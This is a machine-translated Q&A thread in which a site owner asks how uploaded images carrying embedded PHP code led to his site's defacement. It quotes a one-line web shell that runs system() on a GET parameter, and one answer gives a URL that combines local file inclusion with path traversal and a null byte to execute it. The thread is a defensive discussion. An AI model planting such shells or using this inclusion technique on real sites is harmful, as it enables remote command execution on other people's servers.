我的php网站被上传为图片的代码攻击..?

时间:2010-08-17 03:44:30

标签: php image security upload exploit

昨天我的网站已经成立。攻击者将index.php文件更改为自己的文件(带有所有荣耀消息和问候语)。我已经通知了托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何看起来很重要的原因,因为我仍然无法确定我们究竟是怎么做到的。服务器遭到攻击,但我认为我发现某些基于脚本的漏洞可能是罪魁祸首。

我们的网站有一个图片上传器表单,但是如果它们确实是图片文件而不是使用php getimagesize函数的某些代码,则会验证所有上传的图片。仅当图像类型为IMAGETYPE_GIF或IMAGETYPE_JPEG或IMAGETYPE_PNG时才会接受它们。否则,他们将无法上传文件。但是我发现一个上传的图像文件里面包含一个php脚本!您可以下载图片here。这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,你会在其中找到一个PHP代码:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

例如,图像上传到此位置(www.mysite.com/uploads/picodes.jpg)。请注意,文件夹上传的权限是755.攻击者是否有任何方法可以执行系统(或任何其他命令,如passthru,因为我们发现另一个图像具有与上面相同的代码,但不是系统,它有passthru命令),例如,键入 www.mysite.com/uploads/picodes.jpg?cmd=some命令 ??根据我的知识,它无法完成(真的很感激,如果有人可以证明我错了),除非攻击者可以将jpg文件重命名为php,即便如此,这些代码都隐藏在图像的深处(请参阅里面的图像文本编辑器,以了解我想说的是什么)

为了注意事项,我已经通过在php.ini中的disable_functions上添加它们来禁用这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system)。

无论如何,我仍然认为攻击者不是通过网络获取访问权限,而是通过服务器利用,但我认为我的托管公司不这么认为。

4 个答案:

答案 0 :(得分:5)

具有任意PHP代码的图像文件无法通过直接请求来利用,例如http://www.mysite.com/uploads/image.jpg?cmd=somecode

但是,它可以与本地文件包含漏洞一起使用。

例如,在index.php中使用include('pages/' . $_GET['page'] . '.php');,然后攻击者可以使用PHP代码上传图像并使用smth执行命令,如下所示:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD:将URL中的文件更改为页面

答案 1 :(得分:4)

除了实际的图像数据外,JPEG文件还可以包含任意数据;这是规范的一部分。因此,仅仅检查图像是否是有效的JPEG并不意味着该文件必然是完全无害的。

答案 2 :(得分:2)

这可能不是您代码中的漏洞。几周前我发生了同样的事情。虽然我的所有index.php文件都被删除了,即使是那些不能直接访问web的文件。就我而言,这是Linux中的一个安全漏洞。与我的代码没有任何关系。这是我的托管服务提供商(A2Hosting)关于此问题的回复。一旦我说服他们这不是我做的任何事情,他们就会很快解决问题。

“Linux内核最近的一个漏洞是 用于授予对用户目录的管理(root)访问权限 服务器。攻击包括删除中找到的索引文件 目录并用攻击者所需的替换它们 内容:黑名单,攻击者的代号为“iSKORPiTX” (土耳其黑客)“。这个黑客在互联网上大量使用了 以前未知的漏洞,限制了我们预防它的能力。“

答案 3 :(得分:2)

我的图像文件上传器设置是:将文件上传到临时文件夹,使用imagecreatefromjpeg或imagecreatefrompng或imagecreatefromgif创建新图像并保存,从临时文件夹中删除上传的文件(所有这些内容都发生在同一个脚本动作中,所以文件上传到临时文件夹长时间不存在)